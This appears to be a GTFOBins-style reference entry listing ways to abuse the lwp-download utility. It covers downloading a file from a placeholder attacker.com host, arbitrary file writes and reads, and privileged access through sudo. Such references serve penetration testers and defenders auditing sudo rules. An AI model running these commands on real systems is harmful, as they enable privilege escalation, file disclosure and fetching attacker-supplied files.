Fetch a remote file via HTTP GET request.
It can download remote files.
URL=http://attacker.com/file_to_get
LFILE=file_to_save
lwp-download $URL $LFILE
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
lwp-download file://$TF $LFILE
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
The file path must be absolute.
LFILE=file_to_read
TF=$(mktemp)
lwp-download "file://$LFILE" $TF
cat $TF
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo lwp-download $URL $LFILE